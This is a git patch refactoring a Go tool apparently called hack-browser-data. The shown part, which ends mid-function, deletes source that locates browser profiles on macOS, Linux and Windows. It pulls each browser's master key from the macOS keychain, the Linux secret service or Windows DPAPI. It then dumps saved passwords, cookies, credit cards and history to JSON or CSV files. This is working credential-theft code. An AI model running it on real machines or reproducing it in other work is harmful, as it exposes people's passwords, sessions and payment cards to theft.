From 1c8122096725b0334ae15ad9798a67cb1ff55958 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?= Date: Fri, 1 Apr 2022 15:00:56 +0800 Subject: [PATCH] feat: format project layout --- core/browser.go | 374 --------- core/browser_darwin.go | 165 ---- core/browser_linux.go | 167 ---- core/browser_windows.go | 178 ----- core/data/output.go | 224 ------ core/data/parse.go | 1011 ------------------------- core/decrypt/decrypt.go | 214 ------ core/decrypt/decrypt_darwin.go | 17 - core/decrypt/decrypt_linux.go | 17 - core/decrypt/decrypt_windows.go | 70 -- go.mod | 12 +- internal/browser/browser.go | 121 ++- internal/browser/browser_darwin.go | 6 +- internal/browser/browser_test.go | 9 + internal/browser/browser_windows.go | 8 +- internal/browser/chromium/chromium.go | 108 +++ internal/browser/consts/filename.go | 47 -- internal/browser/consts/sql.go | 1 - internal/browser/data/bookmark.go | 7 +- internal/browser/data/cookie.go | 6 +- internal/browser/data/creditcard.go | 4 +- internal/browser/data/download.go | 6 +- internal/browser/data/history.go | 6 +- internal/browser/data/password.go | 8 +- internal/browser/firefox/firefox.go | 1 + internal/browser/item.go | 166 ---- internal/browser/item/filename.go | 47 ++ internal/browser/item/item.go | 165 ++++ internal/browser/item/sql.go | 1 + 29 files changed, 420 insertions(+), 2746 deletions(-) delete mode 100644 core/browser.go delete mode 100644 core/browser_darwin.go delete mode 100644 core/browser_linux.go delete mode 100644 core/browser_windows.go delete mode 100644 core/data/output.go delete mode 100644 core/data/parse.go delete mode 100644 core/decrypt/decrypt.go delete mode 100644 core/decrypt/decrypt_darwin.go delete mode 100644 core/decrypt/decrypt_linux.go delete mode 100644 core/decrypt/decrypt_windows.go create mode 100644 internal/browser/chromium/chromium.go delete mode 100644 internal/browser/consts/filename.go delete mode 100644 internal/browser/consts/sql.go create mode 100644 internal/browser/firefox/firefox.go delete mode 100644 internal/browser/item.go create mode 100644 internal/browser/item/filename.go create mode 100644 internal/browser/item/item.go create mode 100644 internal/browser/item/sql.go diff --git a/core/browser.go b/core/browser.go deleted file mode 100644 index 51c46d8..0000000 --- a/core/browser.go +++ /dev/null @@ -1,374 +0,0 @@ -package core - -import ( - "errors" - "fmt" - "os" - "path/filepath" - "strings" - - "hack-browser-data/core/data" - "hack-browser-data/internal/log" -) - -const ( - chromeName = "Chrome" - chromeBetaName = "Chrome Beta" - chromiumName = "Chromium" - edgeName = "Microsoft Edge" - firefoxName = "Firefox" - firefoxBetaName = "Firefox Beta" - firefoxDevName = "Firefox Dev" - firefoxNightlyName = "Firefox Nightly" - firefoxESRName = "Firefox ESR" - speed360Name = "360speed" - qqBrowserName = "qq" - braveName = "Brave" - operaName = "Opera" - operaGXName = "OperaGX" - vivaldiName = "Vivaldi" - coccocName = "CocCoc" - yandexName = "Yandex" -) - -type Browser interface { - // InitSecretKey is init chrome secret key, firefox's key always empty - InitSecretKey() error - - // GetName return browser name - GetName() string - - // GetSecretKey return browser secret key - GetSecretKey() []byte - - // GetAllItems return all items (password|bookmark|cookie|history) - GetAllItems() ([]data.Item, error) - - // GetItem return single one from the password|bookmark|cookie|history - GetItem(itemName string) (data.Item, error) -} - -const ( - cookie = "cookie" - history = "history" - bookmark = "bookmark" - download = "download" - password = "password" - creditcard = "creditcard" -) - -var ( - errItemNotSupported = errors.New(`item not supported, default is "all", choose from history|download|password|bookmark|cookie`) - errBrowserNotSupported = errors.New("browser not supported") - errChromeSecretIsEmpty = errors.New("chrome secret is empty") - errDbusSecretIsEmpty = errors.New("dbus secret key is empty") -) - -var ( - chromiumItems = map[string]struct { - mainFile string - newItem func(mainFile, subFile string) data.Item - }{ - bookmark: { - mainFile: data.ChromeBookmarkFile, - newItem: data.NewBookmarks, - }, - cookie: { - mainFile: data.ChromeCookieFile, - newItem: data.NewCookies, - }, - history: { - mainFile: data.ChromeHistoryFile, - newItem: data.NewHistoryData, - }, - download: { - mainFile: data.ChromeDownloadFile, - newItem: data.NewDownloads, - }, - password: { - mainFile: data.ChromePasswordFile, - newItem: data.NewCPasswords, - }, - creditcard: { - mainFile: data.ChromeCreditFile, - newItem: data.NewCCards, - }, - } - firefoxItems = map[string]struct { - mainFile string - subFile string - newItem func(mainFile, subFile string) data.Item - }{ - bookmark: { - mainFile: data.FirefoxDataFile, - newItem: data.NewBookmarks, - }, - cookie: { - mainFile: data.FirefoxCookieFile, - newItem: data.NewCookies, - }, - history: { - mainFile: data.FirefoxDataFile, - newItem: data.NewHistoryData, - }, - download: { - mainFile: data.FirefoxDataFile, - newItem: data.NewDownloads, - }, - password: { - mainFile: data.FirefoxKey4File, - subFile: data.FirefoxLoginFile, - newItem: data.NewFPasswords, - }, - } -) - -type Chromium struct { - name string - profilePath string - keyPath string - storage string // storage use for linux and macOS, get secret key - secretKey []byte -} - -// NewChromium return Chromium browser interface -func NewChromium(profile, key, name, storage string) (Browser, error) { - return &Chromium{profilePath: profile, keyPath: key, name: name, storage: storage}, nil -} - -func (c *Chromium) GetName() string { - return c.name -} - -func (c *Chromium) GetSecretKey() []byte { - return c.secretKey -} - -// GetAllItems return all chromium items from browser -// if can't find the item path, log error then continue -func (c *Chromium) GetAllItems() ([]data.Item, error) { - var items []data.Item - for item, choice := range chromiumItems { - m, err := getItemPath(c.profilePath, choice.mainFile) - if err != nil { - log.Debugf("%s find %s file failed, ERR:%s", c.name, item, err) - continue - } - i := choice.newItem(m, "") - log.Debugf("%s find %s File Success", c.name, item) - items = append(items, i) - } - return items, nil -} - -// GetItem return single item -func (c *Chromium) GetItem(itemName string) (data.Item, error) { - itemName = strings.ToLower(itemName) - if item, ok := chromiumItems[itemName]; ok { - m, err := getItemPath(c.profilePath, item.mainFile) - if err != nil { - log.Debugf("%s find %s file failed, ERR:%s", c.name, item.mainFile, err) - } - i := item.newItem(m, "") - return i, nil - } else { - return nil, errItemNotSupported - } -} - -type Firefox struct { - name string - profilePath string - keyPath string -} - -// NewFirefox return firefox browser interface -func NewFirefox(profile, key, name, storage string) (Browser, error) { - return &Firefox{profilePath: profile, keyPath: key, name: name}, nil -} - -// GetAllItems return all item with firefox -func (f *Firefox) GetAllItems() ([]data.Item, error) { - var items []data.Item - for item, choice := range firefoxItems { - var ( - sub, main string - err error - ) - if choice.subFile != "" { - sub, err = getItemPath(f.profilePath, choice.subFile) - if err != nil { - log.Debugf("%s find %s file failed, ERR:%s", f.name, item, err) - continue - } - } - main, err = getItemPath(f.profilePath, choice.mainFile) - if err != nil { - log.Debugf("%s find %s file failed, ERR:%s", f.name, item, err) - continue - } - i := choice.newItem(main, sub) - log.Debugf("%s find %s file success", f.name, item) - items = append(items, i) - } - return items, nil -} - -func (f *Firefox) GetItem(itemName string) (data.Item, error) { - itemName = strings.ToLower(itemName) - if item, ok := firefoxItems[itemName]; ok { - var ( - sub, main string - err error - ) - if item.subFile != "" { - sub, err = getItemPath(f.profilePath, item.subFile) - if err != nil { - log.Debugf("%s find %s file failed, ERR:%s", f.name, item.subFile, err) - } - } - main, err = getItemPath(f.profilePath, item.mainFile) - if err != nil { - log.Debugf("%s find %s file failed, ERR:%s", f.name, item.mainFile, err) - } - i := item.newItem(main, sub) - log.Debugf("%s find %s file success", f.name, item.mainFile) - return i, nil - } else { - return nil, errItemNotSupported - } -} - -func (f *Firefox) GetName() string { - return f.name -} - -// GetSecretKey for firefox is always nil -// this method used to implement Browser interface -func (f *Firefox) GetSecretKey() []byte { - return nil -} - -// InitSecretKey for firefox is always nil -// this method used to implement Browser interface -func (f *Firefox) InitSecretKey() error { - return nil -} - -// PickBrowser return a list of browser interface -func PickBrowser(name string) ([]Browser, error) { - var browsers []Browser - name = strings.ToLower(name) - if name == "all" { - for _, v := range browserList { - b, err := v.New(v.ProfilePath, v.KeyPath, v.Name, v.Storage) - if err != nil { - log.Error(err) - } - browsers = append(browsers, b) - } - return browsers, nil - } else if choice, ok := browserList[name]; ok { - b, err := choice.New(choice.ProfilePath, choice.KeyPath, choice.Name, choice.Storage) - browsers = append(browsers, b) - return browsers, err - } - return nil, errBrowserNotSupported -} - -// PickCustomBrowser pick single browser with custom browser profile path and key file path (windows only). -// If custom key file path is empty, but the current browser requires key file (chromium for windows version > 80) -// key file path will be automatically found in the profile path's parent directory. -func PickCustomBrowser(browserName, cusProfile, cusKey string) ([]Browser, error) { - var ( - browsers []Browser - ) - browserName = strings.ToLower(browserName) - supportBrowser := strings.Join(ListBrowser(), "|") - if browserName == "all" { - return nil, fmt.Errorf("can't select all browser, pick one from %s with -b flag\n", supportBrowser) - } - if choice, ok := browserList[browserName]; ok { - // if this browser need key path - if choice.KeyPath != "" { - var err error - // if browser need key path and cusKey is empty, try to get key path with profile dir - if cusKey == "" { - cusKey, err = getKeyPath(cusProfile) - if err != nil { - return nil, err - } - } - if err := checkKeyPath(cusKey); err != nil { - return nil, err - } - } - b, err := choice.New(cusProfile, cusKey, choice.Name, choice.Storage) - browsers = append(browsers, b) - return browsers, err - } else { - return nil, fmt.Errorf("%s not support, pick one from %s with -b flag\n", browserName, supportBrowser) - } -} - -func getItemPath(profilePath, file string) (string, error) { - p, err := filepath.Glob(filepath.Join(profilePath, file)) - if err != nil { - return "", err - } - if len(p) > 0 { - return p[0], nil - } - return "", fmt.Errorf("find %s failed", file) -} - -// getKeyPath try to get key file path with the browser's profile path -// default key file path is in the parent directory of the profile dir, and name is [Local State] -func getKeyPath(profilePath string) (string, error) { - if _, err := os.Stat(filepath.Clean(profilePath)); os.IsNotExist(err) { - return "", err - } - parentDir := getParentDirectory(profilePath) - keyPath := filepath.Join(parentDir, "Local State") - return keyPath, nil -} - -// check key file path is exist -func checkKeyPath(keyPath string) error { - if _, err := os.Stat(keyPath); os.IsNotExist(err) { - return fmt.Errorf("secret key path not exist, please check %s", keyPath) - } - return nil -} - -func getParentDirectory(dir string) string { - var ( - length int - ) - // filepath.Clean(dir) auto remove - dir = strings.ReplaceAll(filepath.Clean(dir), `\`, `/`) - length = strings.LastIndex(dir, "/") - if length > 0 { - if length > len([]rune(dir)) { - length = len([]rune(dir)) - } - return string([]rune(dir)[:length]) - } - return "" -} - -func ListBrowser() []string { - var l []string - for k := range browserList { - l = append(l, k) - } - return l -} - -func ListItem() []string { - var l []string - for k := range chromiumItems { - l = append(l, k) - } - return l -} diff --git a/core/browser_darwin.go b/core/browser_darwin.go deleted file mode 100644 index 02d0ea8..0000000 --- a/core/browser_darwin.go +++ /dev/null @@ -1,165 +0,0 @@ -package core - -import ( - "bytes" - "crypto/sha1" - "errors" - "os/exec" - - "golang.org/x/crypto/pbkdf2" -) - -const ( - fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release*/" - fireFoxBetaProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-beta*/" - fireFoxDevProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.dev-edition-default*/" - fireFoxNightlyProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-nightly*/" - fireFoxESRProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-esr*/" - chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/" - chromeBetaProfilePath = "/Users/*/Library/Application Support/Google/Chrome Beta/*/" - chromiumProfilePath = "/Users/*/Library/Application Support/Chromium/*/" - edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/" - braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/" - operaProfilePath = "/Users/*/Library/Application Support/com.operasoftware.Opera/" - operaGXProfilePath = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/" - vivaldiProfilePath = "/Users/*/Library/Application Support/Vivaldi/*/" - coccocProfilePath = "/Users/*/Library/Application Support/Coccoc/*/" - yandexProfilePath = "/Users/*/Library/Application Support/Yandex/YandexBrowser/*/" -) - -const ( - chromeStorageName = "Chrome" - chromeBetaStorageName = "Chrome" - chromiumStorageName = "Chromium" - edgeStorageName = "Microsoft Edge" - braveStorageName = "Brave" - operaStorageName = "Opera" - vivaldiStorageName = "Vivaldi" - coccocStorageName = "CocCoc" - yandexStorageName = "Yandex" -) - -var ( - browserList = map[string]struct { - ProfilePath string - Name string - KeyPath string - Storage string - New func(profile, key, name, storage string) (Browser, error) - }{ - "firefox": { - ProfilePath: fireFoxProfilePath, - Name: firefoxName, - New: NewFirefox, - }, - "firefox-beta": { - ProfilePath: fireFoxBetaProfilePath, - Name: firefoxBetaName, - New: NewFirefox, - }, - "firefox-dev": { - ProfilePath: fireFoxDevProfilePath, - Name: firefoxDevName, - New: NewFirefox, - }, - "firefox-nightly": { - ProfilePath: fireFoxNightlyProfilePath, - Name: firefoxNightlyName, - New: NewFirefox, - }, - "firefox-esr": { - ProfilePath: fireFoxESRProfilePath, - Name: firefoxESRName, - New: NewFirefox, - }, - "chrome": { - ProfilePath: chromeProfilePath, - Name: chromeName, - Storage: chromeStorageName, - New: NewChromium, - }, - "chromium": { - ProfilePath: chromiumProfilePath, - Name: chromiumName, - Storage: chromiumStorageName, - New: NewChromium, - }, - "edge": { - ProfilePath: edgeProfilePath, - Name: edgeName, - Storage: edgeStorageName, - New: NewChromium, - }, - "brave": { - ProfilePath: braveProfilePath, - Name: braveName, - Storage: braveStorageName, - New: NewChromium, - }, - "chrome-beta": { - ProfilePath: chromeBetaProfilePath, - Name: chromeBetaName, - Storage: chromeBetaStorageName, - New: NewChromium, - }, - "opera": { - ProfilePath: operaProfilePath, - Name: operaName, - Storage: operaStorageName, - New: NewChromium, - }, - "opera-gx": { - ProfilePath: operaGXProfilePath, - Name: operaGXName, - Storage: operaStorageName, - New: NewChromium, - }, - "vivaldi": { - ProfilePath: vivaldiProfilePath, - Name: vivaldiName, - Storage: vivaldiStorageName, - New: NewChromium, - }, - "coccoc": { - ProfilePath: coccocProfilePath, - Name: coccocName, - Storage: coccocStorageName, - New: NewChromium, - }, - "yandex": { - ProfilePath: yandexProfilePath, - Name: yandexName, - Storage: yandexStorageName, - New: NewChromium, - }, - } -) - -func (c *Chromium) InitSecretKey() error { - var ( - cmd *exec.Cmd - stdout, stderr bytes.Buffer - ) - // ➜ security find-generic-password -wa 'Chrome' - cmd = exec.Command("security", "find-generic-password", "-wa", c.storage) - cmd.Stdout = &stdout - cmd.Stderr = &stderr - err := cmd.Run() - if err != nil { - return err - } - if stderr.Len() > 0 { - err = errors.New(stderr.String()) - return err - } - temp := stdout.Bytes() - chromeSecret := temp[:len(temp)-1] - if chromeSecret == nil { - return errChromeSecretIsEmpty - } - var chromeSalt = []byte("saltysalt") - // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 - key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) - c.secretKey = key - return nil -} diff --git a/core/browser_linux.go b/core/browser_linux.go deleted file mode 100644 index 7af68ac..0000000 --- a/core/browser_linux.go +++ /dev/null @@ -1,167 +0,0 @@ -package core - -import ( - "crypto/sha1" - - "github.com/godbus/dbus/v5" - keyring "github.com/ppacher/go-dbus-keyring" - "golang.org/x/crypto/pbkdf2" - - "hack-browser-data/internal/log" -) - -const ( - fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release*/" - fireFoxBetaProfilePath = "/home/*/.mozilla/firefox/*.default-beta*/" - fireFoxDevProfilePath = "/home/*/.mozilla/firefox/*.dev-edition-default*/" - fireFoxNightlyProfilePath = "/home/*/.mozilla/firefox/*.default-nightly*/" - fireFoxESRProfilePath = "/home/*/.mozilla/firefox/*.default-esr*/" - chromeProfilePath = "/home/*/.config/google-chrome/*/" - chromiumProfilePath = "/home/*/.config/chromium/*/" - edgeProfilePath = "/home/*/.config/microsoft-edge*/*/" - braveProfilePath = "/home/*/.config/BraveSoftware/Brave-Browser/*/" - chromeBetaProfilePath = "/home/*/.config/google-chrome-beta/*/" - operaProfilePath = "/home/*/.config/opera/" - vivaldiProfilePath = "/home/*/.config/vivaldi/*/" -) - -const ( - chromeStorageName = "Chrome Safe Storage" - chromiumStorageName = "Chromium Safe Storage" - edgeStorageName = "Chromium Safe Storage" - braveStorageName = "Brave Safe Storage" - chromeBetaStorageName = "Chrome Safe Storage" - operaStorageName = "Chromium Safe Storage" - vivaldiStorageName = "Chrome Safe Storage" -) - -var ( - browserList = map[string]struct { - ProfilePath string - Name string - KeyPath string - Storage string - New func(profile, key, name, storage string) (Browser, error) - }{ - "firefox": { - ProfilePath: fireFoxProfilePath, - Name: firefoxName, - New: NewFirefox, - }, - "firefox-beta": { - ProfilePath: fireFoxBetaProfilePath, - Name: firefoxBetaName, - New: NewFirefox, - }, - "firefox-dev": { - ProfilePath: fireFoxDevProfilePath, - Name: firefoxDevName, - New: NewFirefox, - }, - "firefox-nightly": { - ProfilePath: fireFoxNightlyProfilePath, - Name: firefoxNightlyName, - New: NewFirefox, - }, - "firefox-esr": { - ProfilePath: fireFoxESRProfilePath, - Name: firefoxESRName, - New: NewFirefox, - }, - "chrome": { - ProfilePath: chromeProfilePath, - Name: chromeName, - Storage: chromeStorageName, - New: NewChromium, - }, - "edge": { - ProfilePath: edgeProfilePath, - Name: edgeName, - Storage: edgeStorageName, - New: NewChromium, - }, - "brave": { - ProfilePath: braveProfilePath, - Name: braveName, - Storage: braveStorageName, - New: NewChromium, - }, - "chrome-beta": { - ProfilePath: chromeBetaProfilePath, - Name: chromeBetaName, - Storage: chromeBetaStorageName, - New: NewChromium, - }, - "chromium": { - ProfilePath: chromiumProfilePath, - Name: chromiumName, - Storage: chromiumStorageName, - New: NewChromium, - }, - "opera": { - ProfilePath: operaProfilePath, - Name: operaName, - Storage: operaStorageName, - New: NewChromium, - }, - "vivaldi": { - ProfilePath: vivaldiProfilePath, - Name: vivaldiName, - Storage: vivaldiStorageName, - New: NewChromium, - }, - } -) - -func (c *Chromium) InitSecretKey() error { - // what is d-bus @https://dbus.freedesktop.org/ - var chromeSecret []byte - conn, err := dbus.SessionBus() - if err != nil { - return err - } - svc, err := keyring.GetSecretService(conn) - if err != nil { - return err - } - session, err := svc.OpenSession() - if err != nil { - return err - } - defer func() { - session.Close() - }() - collections, err := svc.GetAllCollections() - if err != nil { - return err - } - for _, col := range collections { - items, err := col.GetAllItems() - if err != nil { - return err - } - for _, item := range items { - label, err := item.GetLabel() - if err != nil { - log.Error(err) - continue - } - if label == c.storage { - se, err := item.GetSecret(session.Path()) - if err != nil { - log.Error(err) - return err - } - chromeSecret = se.Value - } - } - } - if chromeSecret == nil { - return errDbusSecretIsEmpty - } - var chromeSalt = []byte("saltysalt") - // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc - key := pbkdf2.Key(chromeSecret, chromeSalt, 1, 16, sha1.New) - c.secretKey = key - return nil -} diff --git a/core/browser_windows.go b/core/browser_windows.go deleted file mode 100644 index 3a6381f..0000000 --- a/core/browser_windows.go +++ /dev/null @@ -1,178 +0,0 @@ -package core - -import ( - "encoding/base64" - "errors" - "fmt" - "os" - - "hack-browser-data/core/decrypt" - "hack-browser-data/internal/utils" - - "github.com/tidwall/gjson" -) - -const ( - firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release*/" - fireFoxBetaProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-beta*/" - fireFoxDevProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.dev-edition-default*/" - fireFoxNightlyProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-nightly*/" - fireFoxESRProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-esr*/" - chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/" - chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State" - chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/" - chromeBetaKeyPath = "/AppData/Local/Google/Chrome Beta/User Data/Local State" - chromiumProfilePath = "/AppData/Local/Chromium/User Data/*/" - chromiumKeyPath = "/AppData/Local/Chromium/User Data/Local State" - edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/" - edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State" - braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/" - braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State" - speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/" - qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/" - operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/" - operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State" - operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/" - operaGXKeyPath = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State" - vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/" - vivaldiKeyPath = "/AppData/Local/Vivaldi/Local State" - coccocProfilePath = "/AppData/Local/CocCoc/Browser/User Data/Default/" - coccocKeyPath = "/AppData/Local/CocCoc/Browser/Local State" - yandexProfilePath = "/AppData/Local/Yandex/YandexBrowser/User Data/Default" - yandexKeyPath = "/AppData/Local/Yandex/YandexBrowser/Local State" -) - -var ( - browserList = map[string]struct { - ProfilePath string - Name string - KeyPath string - Storage string - New func(profile, key, name, storage string) (Browser, error) - }{ - "firefox": { - ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath, - Name: firefoxName, - New: NewFirefox, - }, - "firefox-beta": { - ProfilePath: os.Getenv("USERPROFILE") + fireFoxBetaProfilePath, - Name: firefoxBetaName, - New: NewFirefox, - }, - "firefox-dev": { - ProfilePath: os.Getenv("USERPROFILE") + fireFoxDevProfilePath, - Name: firefoxDevName, - New: NewFirefox, - }, - "firefox-nightly": { - ProfilePath: os.Getenv("USERPROFILE") + fireFoxNightlyProfilePath, - Name: firefoxNightlyName, - New: NewFirefox, - }, - "firefox-esr": { - ProfilePath: os.Getenv("USERPROFILE") + fireFoxESRProfilePath, - Name: firefoxESRName, - New: NewFirefox, - }, - "chrome": { - ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath, - KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath, - Name: chromeName, - New: NewChromium, - }, - "chrome-beta": { - ProfilePath: os.Getenv("USERPROFILE") + chromeBetaProfilePath, - KeyPath: os.Getenv("USERPROFILE") + chromeBetaKeyPath, - Name: chromeBetaName, - New: NewChromium, - }, - "chromium": { - ProfilePath: os.Getenv("USERPROFILE") + chromiumProfilePath, - KeyPath: os.Getenv("USERPROFILE") + chromiumKeyPath, - Name: chromiumName, - New: NewChromium, - }, - "edge": { - ProfilePath: os.Getenv("USERPROFILE") + edgeProfilePath, - KeyPath: os.Getenv("USERPROFILE") + edgeKeyPath, - Name: edgeName, - New: NewChromium, - }, - "360": { - ProfilePath: os.Getenv("USERPROFILE") + speed360ProfilePath, - Name: speed360Name, - New: NewChromium, - }, - "qq": { - ProfilePath: os.Getenv("USERPROFILE") + qqBrowserProfilePath, - Name: qqBrowserName, - New: NewChromium, - }, - "brave": { - ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath, - KeyPath: os.Getenv("USERPROFILE") + braveKeyPath, - Name: braveName, - New: NewChromium, - }, - "opera": { - ProfilePath: os.Getenv("USERPROFILE") + operaProfilePath, - KeyPath: os.Getenv("USERPROFILE") + operaKeyPath, - Name: operaName, - New: NewChromium, - }, - "opera-gx": { - ProfilePath: os.Getenv("USERPROFILE") + operaGXProfilePath, - KeyPath: os.Getenv("USERPROFILE") + operaGXKeyPath, - Name: operaGXName, - New: NewChromium, - }, - "vivaldi": { - ProfilePath: os.Getenv("USERPROFILE") + vivaldiProfilePath, - KeyPath: os.Getenv("USERPROFILE") + vivaldiKeyPath, - Name: vivaldiName, - New: NewChromium, - }, - "coccoc": { - ProfilePath: os.Getenv("USERPROFILE") + coccocProfilePath, - KeyPath: os.Getenv("USERPROFILE") + coccocKeyPath, - Name: coccocName, - New: NewChromium, - }, - "yandex": { - ProfilePath: os.Getenv("USERPROFILE") + yandexProfilePath, - KeyPath: os.Getenv("USERPROFILE") + yandexKeyPath, - Name: yandexName, - New: NewChromium, - }, - } -) - -var ( - errBase64DecodeFailed = errors.New("decode base64 failed") -) - -// InitSecretKey with win32 DPAPI -// conference from @https://gist.github.com/akamajoris/ed2f14d817d5514e7548 -func (c *Chromium) InitSecretKey() error { - if c.keyPath == "" { - return nil - } - if _, err := os.Stat(c.keyPath); os.IsNotExist(err) { - return fmt.Errorf("%s secret key path is empty", c.name) - } - keyFile, err := utils.ReadFile(c.keyPath) - if err != nil { - return err - } - encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key") - if encryptedKey.Exists() { - pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String()) - if err != nil { - return errBase64DecodeFailed - } - c.secretKey, err = decrypt.DPApi(pureKey[5:]) - return err - } - return nil -} diff --git a/core/data/output.go b/core/data/output.go deleted file mode 100644 index 5565c4b..0000000 --- a/core/data/output.go +++ /dev/null @@ -1,224 +0,0 @@ -package data - -import ( - "bytes" - "encoding/json" - "fmt" - "os" - "sort" - - "github.com/jszwec/csvutil" - - "hack-browser-data/internal/utils" -) - -var ( - utf8Bom = []byte{239, 187, 191} -) - -func (b *bookmarks) outPutJson(browser, dir string) error { - filename := utils.FormatFilename(dir, browser, "bookmark", "json") - sort.Slice(b.bookmarks, func(i, j int) bool { - return b.bookmarks[i].ID < b.bookmarks[j].ID - }) - err := writeToJson(filename, b.bookmarks) - if err != nil { - return err - } - fmt.Printf("%s Get %d bookmarks, filename is %s \n", utils.Prefix, len(b.bookmarks), filename) - return nil -} - -func (h *historyData) outPutJson(browser, dir string) error { - filename := utils.FormatFilename(dir, browser, "history", "json") - sort.Slice(h.history, func(i, j int) bool { - return h.history[i].VisitCount > h.history[j].VisitCount - }) - err := writeToJson(filename, h.history) - if err != nil { - return err - } - fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(h.history), filename) - return nil -} - -func (d *downloads) outPutJson(browser, dir string) error { - filename := utils.FormatFilename(dir, browser, "download", "json") - err := writeToJson(filename, d.downloads) - if err != nil { - return err - } - fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(d.downloads), filename) - return nil -} - -func (p *passwords) outPutJson(browser, dir string) error { - filename := utils.FormatFilename(dir, browser, "password", "json") - err := writeToJson(filename, p.logins) - if err != nil { - return err - } - fmt.Printf("%s Get %d passwords, filename is %s \n", utils.Prefix, len(p.logins), filename) - return nil -} - -func (c *cookies) outPutJson(browser, dir string) error { - filename := utils.FormatFilename(dir, browser, "cookie", "json") - err := writeToJson(filename, c.cookies) - if err != nil { - return err - } - fmt.Printf("%s Get %d cookies, filename is %s \n", utils.Prefix, len(c.cookies), filename) - return nil -} - -func (c *creditCards) outPutJson(browser, dir string) error { - filename := utils.FormatFilename(dir, browser, "credit", "json") - err := writeToJson(filename, c.cards) - if err != nil { - return err - } - fmt.Printf("%s Get %d credit cards, filename is %s \n", utils.Prefix, len(c.cards), filename) - return nil -} - -func writeToJson(filename string, data interface{}) error { - f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - if err != nil { - return err - } - defer f.Close() - w := new(bytes.Buffer) - enc := json.NewEncoder(w) - enc.SetEscapeHTML(false) - enc.SetIndent("", "\t") - err = enc.Encode(data) - if err != nil { - return err - } - _, err = f.Write(w.Bytes()) - if err != nil { - return err - } - return nil -} - -func (b *bookmarks) outPutCsv(browser, dir string) error { - filename := utils.FormatFilename(dir, browser, "bookmark", "csv") - if err := writeToCsv(filename, b.bookmarks); err != nil { - return err - } - fmt.Printf("%s Get %d bookmarks, filename is %s \n", utils.Prefix, len(b.bookmarks), filename) - return nil -} - -func (h *historyData) outPutCsv(browser, dir string) error { - filename := utils.FormatFilename(dir, browser, "history", "csv") - if err := writeToCsv(filename, h.history); err != nil { - return err - } - fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(h.history), filename) - return nil -} - -func (d *downloads) outPutCsv(browser, dir string) error { - filename := utils.FormatFilename(dir, browser, "download", "csv") - if err := writeToCsv(filename, d.downloads); err != nil { - return err - } - fmt.Printf("%s Get %d download history, filename is %s \n", utils.Prefix, len(d.downloads), filename) - return nil -} - -func (p *passwords) outPutCsv(browser, dir string) error { - filename := utils.FormatFilename(dir, browser, "password", "csv") - if err := writeToCsv(filename, p.logins); err != nil { - return err - } - fmt.Printf("%s Get %d passwords, filename is %s \n", utils.Prefix, len(p.logins), filename) - return nil -} - -func (c *cookies) outPutCsv(browser, dir string) error { - filename := utils.FormatFilename(dir, browser, "cookie", "csv") - var tempSlice []cookie - for _, v := range c.cookies { - tempSlice = append(tempSlice, v...) - } - if err := writeToCsv(filename, tempSlice); err != nil { - return err - } - fmt.Printf("%s Get %d cookies, filename is %s \n", utils.Prefix, len(c.cookies), filename) - return nil -} - -func (c *creditCards) outPutCsv(browser, dir string) error { - filename := utils.FormatFilename(dir, browser, "credit", "csv") - var tempSlice []card - for _, v := range c.cards { - tempSlice = append(tempSlice, v...) - } - if err := writeToCsv(filename, tempSlice); err != nil { - return err - } - fmt.Printf("%s Get %d credit cards, filename is %s \n", utils.Prefix, len(c.cards), filename) - return nil -} - -func writeToCsv(filename string, data interface{}) error { - var d []byte - f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - if err != nil { - return err - } - defer f.Close() - _, err = f.Write(utf8Bom) - if err != nil { - return err - } - d, err = csvutil.Marshal(data) - if err != nil { - return err - } - _, err = f.Write(d) - if err != nil { - return err - } - return nil -} - -func (b *bookmarks) 